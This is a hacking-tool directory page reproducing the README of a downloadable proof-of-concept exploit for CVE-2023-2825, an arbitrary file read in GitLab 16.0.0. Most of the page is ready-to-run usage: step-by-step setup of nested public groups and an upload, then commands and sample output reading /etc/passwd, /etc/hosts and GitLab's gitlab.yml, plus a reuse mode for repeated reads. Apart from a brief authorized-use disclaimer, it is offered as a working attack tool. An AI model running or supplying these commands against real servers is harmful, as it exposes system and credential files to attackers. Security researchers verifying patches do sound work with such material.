Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-2825-PoC — PoC for CVE-2023-2825: automated GitLab 16.0.0 arbitrary file read via nested public groups, project upload traversal, reusable upload paths, and clean CLI output. | Kitploit
Tools/GitHubGitHub/groppoxx/cve-2023-2825-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubgroppoxx/cve-2023-2825-poc

CVE-2023-2825-PoC

PoC for CVE-2023-2825: automated GitLab 16.0.0 arbitrary file read via nested public groups, project upload traversal, reusable upload paths, and clean CLI output.

View Repository
43 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-2825-PoC

Proof-of-concept for CVE-2023-2825, an arbitrary file read vulnerability in GitLab CE/EE 16.0.0.

The script logs in with a valid GitLab account, creates the required public nested group structure, creates a public project, uploads an attachment, and uses the vulnerable upload path traversal behavior to read a target file from the GitLab server.

It also supports reusing an existing upload path, so you do not need to create new groups and projects for every file read.

What It Does

  1. Authenticates to the target GitLab instance.
  2. Creates nested public groups using short paths for reliable deep nesting.
  3. Creates a public project inside the deepest group.
  4. Uploads a small attachment to the project.
  5. Builds the traversal path from the upload directory.
  6. Reads one file or a list of files.
  7. Prints a reusable upload path for faster follow-up reads.

Requirements

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

Required Python packages:

root@kitploit:~
beautifulsoup4
requests
urllib3

Quick Start

Values wrapped in angle brackets are placeholders. Replace them with your own values and do not include the < or > characters.

root@kitploit:~
python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

Placeholders

root@kitploit:~
<GITLAB_URL>   # Target GitLab base URL. Example: http://gitlab.local
<USERNAME>     # Valid GitLab username.
<PASSWORD>     # Valid GitLab password.

Full Example

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

Example output:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts

[+] Content of /etc/hosts
127.0.0.1 localhost

Reusing an Upload Path

After a successful run, the script prints a reusable upload path:

root@kitploit:~
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

Use it with --reuse-path to skip login, group creation, project creation, and upload:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

You can also pass a full URL and omit --url:

root@kitploit:~
python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

Reading Multiple Files

Create a file list:

root@kitploit:~
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

Run:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

Optional Flags

root@kitploit:~
--groups <N>
   Number of nested public groups to create. Default: 11

--depth <N>
   Number of traversal segments to use. Default: 12

--reuse-path <PATH_OR_URL>
   Existing project upload directory. Skips setup and directly reads files.

--only-final
   Hide progress logs and print only file contents.

--no-color
   Disable ANSI colors.

--debug
   Print the generated traversal path for troubleshooting.

Notes

  • The exploit requires GitLab CE/EE 16.0.0.
  • A valid GitLab account is needed to create the public nested groups and project.
  • The vulnerable path requires an attachment in a public project nested inside multiple public groups.
  • Short group names are used intentionally to avoid deep-path creation issues in GitLab.
  • Use --reuse-path whenever possible to avoid creating unnecessary groups and projects.

Legal

This PoC is intended for authorized security testing, lab environments, and vulnerability verification. Do not use it against systems without explicit permission.

Download Tool